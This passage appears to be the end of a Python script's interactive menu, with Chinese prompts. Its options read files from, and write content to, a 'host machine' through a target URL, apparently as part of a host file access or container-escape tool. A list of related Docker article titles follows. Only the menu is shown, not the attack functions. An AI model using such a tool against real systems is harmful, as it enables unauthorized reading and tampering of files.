                
                elif file_mode == '3':
                    print("提示: Windows路径示例: D:\\file.txt 或 D:/file.txt (将自动转换为 /mnt/host/d/file.txt)")
                    host_file = input("\n请输入宿主机文件路径: ").strip()
                    
                    if host_file:
                        read_file_from_host(url, host_file)
                
                elif file_mode == '4':
                    print("提示: Windows路径示例: D:\\ 或 D:/ 或 D:/temp (将自动转换为 /mnt/host/d 格式)")
                    host_path = input("\n请输入宿主机目标目录: ").strip()
                    content = input("请输入文件内容: ").strip()
                    
                    if host_path and content:
                        write_file_to_host(url, host_path, content)
                
                elif file_mode == '5':
                    break
                
                else:
                    print("无效的选项,请输入 1-5")
        
        elif main_choice == '4':
            print("退出程序")
            return
        
        else:
            print("无效的选项,请输入 1-4")

if __name__ == "__main__":
    main()
相关推荐
whltaoin2 小时前
25年12月26日-福州某科技公司一面面试原题
java·linux·docker·面试·职场和发展·k8s·springboot
木童6622 小时前
若依管理系统部署文档
docker·ruoyi
java_logo2 小时前
LocalAI Docker 容器化部署指南
docker·容器·eureka·localai·docker部署localai·localai部署教程·localai部署文档
林太白2 小时前
docker安装以及部署node项目
前端·后端·docker
逆流°只是风景-bjhxcc2 小时前
【k8s】Kubernetes(K8s)YAML 配置文件
docker·容器·kubernetes
zybsjn3 小时前
【实战】如何在docker中访问宿主主机的api服务
docker
岳来3 小时前
docker 容器的标准输入输出
docker·stdin·stdout
无痕melody3 小时前
allinssl自动申请部署飞牛域名ssl证书
docker
眠りたいです4 小时前
Docker:Docker Volume存储卷-宿主机与容器的数据双向交流通道
运维·docker·中间件·容器